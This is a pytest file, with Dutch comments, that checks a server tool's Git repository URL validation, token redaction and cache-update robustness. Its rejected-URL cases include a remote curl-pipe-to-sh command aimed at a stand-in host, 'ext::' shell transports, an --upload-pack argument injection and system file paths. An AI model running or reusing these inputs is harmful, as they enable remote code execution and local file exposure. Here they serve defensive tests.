server-up/tests/test_repo_urls.py

"""Git-URL-validatie. `ext::` voert een shell-commando uit, `file://` legt
lokale paden bloot — beide horen niet in een door de gebruiker opgegeven URL."""
import pytest

from conftest import login


@pytest.mark.parametrize("url", [
    "https://github.com/bes-r/server-up.git",
    "http://10.0.20.22:3000/bes-r/server-up.git",
    "ssh://git@example.com/bes-r/server-up.git",
    "git@github.com:bes-r/server-up.git",
])
def test_toegestane_urls(env, url):
    assert env["core"].valid_repo_url(url) is True


@pytest.mark.parametrize("url", [
    'ext::sh -c "curl evil.example/x.sh | sh"',
    "file:///etc",
    "/etc/passwd",
    "--upload-pack=/bin/sh",
    "",
    "https://example.com/repo.git\next::sh -c id",
])
def test_geweigerde_urls(env, url):
    assert env["core"].valid_repo_url(url) is False


def test_repo_toevoegen_weigert_ext_transport(client):
    csrf = login(client)
    r = client.post("/api/repos", json={"url": 'ext::sh -c "id"'},
                    headers={"X-CSRF-Token": csrf})
    assert r.status_code == 400
    assert client.get("/api/repos").get_json() is not None


def test_clone_weigert_ext_transport_uit_oude_config(env):
    """Vangnet: ook een repo die al in config.json stond wordt geweigerd."""
    from core import git
    ok, msg = git.clone_or_pull({"id": "boos", "url": 'ext::sh -c "id"'})
    assert ok is False
    assert "niet-toegestane" in msg


def test_repos_endpoint_lekt_geen_token(client, env):
    csrf = login(client)
    client.post("/api/repos",
                json={"url": "https://example.com/geheim.git", "token": "s3cr3t-token"},
                headers={"X-CSRF-Token": csrf})

    body = client.get("/api/repos").get_data(as_text=True)
    assert "s3cr3t-token" not in body
    assert "has_token" in body

    settings = client.get("/api/settings").get_data(as_text=True)
    assert "s3cr3t-token" not in settings


def test_settings_put_wist_bestaand_token_niet(client, env):
    csrf = login(client)
    client.post("/api/repos",
                json={"id": "mijn", "url": "https://example.com/x.git", "token": "blijf-staan"},
                headers={"X-CSRF-Token": csrf})

    repos = client.get("/api/repos").get_json()
    client.put("/api/settings", json={"APP_REPOS": repos},
               headers={"X-CSRF-Token": csrf})

    stored = env["core"].load()["APP_REPOS"]
    mijn = next(r for r in stored if r["id"] == "mijn")
    assert mijn["token"] == "blijf-staan"


def test_settings_put_kan_auth_niet_overschrijven(client, env):
    csrf = login(client)
    client.put("/api/settings",
               json={"AUTH": {"mode": "proxy", "users": {}, "trusted_proxies": ["0.0.0.0/0"]}},
               headers={"X-CSRF-Token": csrf})
    import core.auth as auth
    assert auth.settings()["mode"] == "local"
    assert "tester" in auth.settings()["users"]


# ── Bijwerken van de cache ───────────────────────────────────────────────────
# `git pull --rebase` leunt op de upstream-instellingen van de lokale kloon.
# Die kunnen ontsporen, en de branch uit de instellingen werd er sowieso niet
# door gevolgd.

def _repo_met_twee_takken(tmp_path):
    import subprocess as sp
    bron = tmp_path / "bron"
    bron.mkdir()

    def g(*a):
        return sp.run(["git", *a], cwd=str(bron), capture_output=True,
                      text=True, check=True)

    g("init", "-qb", "main", ".")
    g("config", "user.email", "t@t")
    g("config", "user.name", "t")
    (bron / "app.txt").write_text("van main")
    g("add", "app.txt")
    g("commit", "-qm", "main")
    g("checkout", "-qb", "dev")
    (bron / "app.txt").write_text("van dev")
    g("commit", "-qam", "dev")
    g("checkout", "-q", "main")
    return bron


def test_bijwerken_volgt_de_ingestelde_branch(env, tmp_path, monkeypatch):
    """`git pull` haalde altijd de tak op waarop ooit gekloond was. Zette je de
    branch in de instellingen om, dan gebeurde er stilzwijgend niets."""
    import shutil as _shutil
    from core import git
    if not _shutil.which("git"):
        pytest.skip("git niet aanwezig")
    bron = _repo_met_twee_takken(tmp_path)
    # file:// is normaal niet toegestaan; hier gaat het om het bijwerken zelf.
    monkeypatch.setattr("core.valid_repo_url", lambda u: True)
    repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}

    ok, msg = git.clone_or_pull(repo)
    assert ok, msg
    cache = git.cache_dir("proef")
    assert (cache / "app.txt").read_text() == "van main"

    repo["branch"] = "dev"
    ok, msg = git.clone_or_pull(repo)
    assert ok, msg
    assert (cache / "app.txt").read_text() == "van dev", \
        "de gewijzigde branch werd genegeerd"


def test_bijwerken_overleeft_een_ontspoorde_upstream(env, tmp_path, monkeypatch):
    """Twee waarden in `branch.<tak>.merge` lieten git stoppen met "Cannot
    rebase onto multiple branches" — en daarmee werkte er niets meer bij."""
    import shutil as _shutil
    import subprocess as sp
    from core import git
    if not _shutil.which("git"):
        pytest.skip("git niet aanwezig")
    bron = _repo_met_twee_takken(tmp_path)
    monkeypatch.setattr("core.valid_repo_url", lambda u: True)
    repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}
    assert git.clone_or_pull(repo)[0]

    cache = git.cache_dir("proef")
    sp.run(["git", "config", "remote.origin.fetch",
            "+refs/heads/*:refs/remotes/origin/*"], cwd=str(cache), check=True)
    sp.run(["git", "config", "--add", "branch.main.merge", "refs/heads/dev"],
           cwd=str(cache), check=True)

    ok, msg = git.clone_or_pull(repo)
    assert ok, f"bijwerken struikelt over de upstream-instellingen: {msg}"
    assert "multiple branches" not in msg


def test_lokale_rommel_in_de_cache_blokkeert_niets(env, tmp_path, monkeypatch):
    """De cache is van Server Up; wat er lokaal in gewijzigd is mag het
    bijwerken niet tegenhouden."""
    import shutil as _shutil
    from core import git
    if not _shutil.which("git"):
        pytest.skip("git niet aanwezig")
    bron = _repo_met_twee_takken(tmp_path)
    monkeypatch.setattr("core.valid_repo_url", lambda u: True)
    repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}
    assert git.clone_or_pull(repo)[0]

    (git.cache_dir("proef") / "app.txt").write_text("met de hand gewijzigd")
    ok, msg = git.clone_or_pull(repo)
    assert ok, msg
    assert (git.cache_dir("proef") / "app.txt").read_text() == "van main"


def test_een_kapotte_cache_haalt_zichzelf_opnieuw_op(env, tmp_path, monkeypatch):
    """"fatal: shallow file has changed since we read it" liet een repo achter
    die zich niet meer liet bijwerken, en daarmee een lege app store.

    De cache bevat niets dat bewaard hoeft te blijven, dus opnieuw ophalen is
    het antwoord op elke fout — niet alleen op deze."""
    import shutil as _shutil
    from core import git
    if not _shutil.which("git"):
        pytest.skip("git niet aanwezig")
    bron = _repo_met_twee_takken(tmp_path)
    monkeypatch.setattr("core.valid_repo_url", lambda u: True)
    repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}
    assert git.clone_or_pull(repo)[0]

    cache = git.cache_dir("proef")
    # Een `.git/shallow` met onzin erin: precies wat een halverwege afgebroken
    # fetch achterlaat.
    (cache / ".git" / "shallow").write_text("dit is geen commit\n", encoding="utf-8")
    (cache / "app.txt").unlink()

    regels = []
    ok, msg = git.clone_or_pull(repo, log_fn=regels.append)
    assert ok, f"de cache herstelt zichzelf niet: {msg}"
    assert (cache / "app.txt").read_text() == "van main"
    assert any("opnieuw op" in r for r in regels), regels


def test_twee_synchronisaties_tegelijk_botsen_niet(env, tmp_path, monkeypatch):
    """Bij het opstarten wordt alles gesynchroniseerd; ondertussen kan iemand
    op Synchroniseren drukken. Twee `git fetch` in dezelfde map leveren
    "shallow file has changed" op en laten de cache halverwege achter."""
    import shutil as _shutil
    import threading
    from core import git
    if not _shutil.which("git"):
        pytest.skip("git niet aanwezig")
    bron = _repo_met_twee_takken(tmp_path)
    monkeypatch.setattr("core.valid_repo_url", lambda u: True)
    repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}
    assert git.clone_or_pull(repo)[0]

    tegelijk = []
    bezig = threading.Lock()

    echt = git.subprocess.run

    def merk_op(cmd, **kw):
        if cmd[:2] == ["git", "fetch"]:
            if not bezig.acquire(blocking=False):
                tegelijk.append(cmd)
            else:
                try:
                    return echt(cmd, **kw)
                finally:
                    bezig.release()
        return echt(cmd, **kw)

    monkeypatch.setattr(git.subprocess, "run", merk_op)
    draden = [threading.Thread(target=git.clone_or_pull, args=(dict(repo),))
              for _ in range(4)]
    for d in draden:
        d.start()
    for d in draden:
        d.join(timeout=60)

    assert not tegelijk, f"{len(tegelijk)} fetches liepen door elkaar heen"
    assert (cache_na := (git.cache_dir("proef") / "app.txt")).read_text() == "van main", cache_na


def test_dubbele_repo_ids_komen_maar_een_keer_terug(client, env):
    """De interface tekent de repolijst met `:key="repo.id"`. Dubbele keys zijn
    voor Alpine ongedefinieerd gedrag: je krijgt ontbrekende blokken terwijl de
    tellers doorrekenen — een dalend getal onder een leeg scherm."""
    import core
    from conftest import login
    login(client)
    core.patch({"APP_REPOS": [
        {"id": "server-up", "url": "https://voorbeeld/a.git", "name": "A"},
        {"id": "boilerplates", "url": "https://voorbeeld/b.git", "name": "B"},
        {"id": "server-up", "url": "https://voorbeeld/c.git", "name": "C"},
        {"url": "https://voorbeeld/d.git", "name": "zonder id"},
    ]})
    d = client.get("/api/repos").get_json()
    ids = [r["id"] for r in d]
    assert ids == ["server-up", "boilerplates"], ids
    assert len(ids) == len(set(ids)), "er zitten nog dubbele ids in"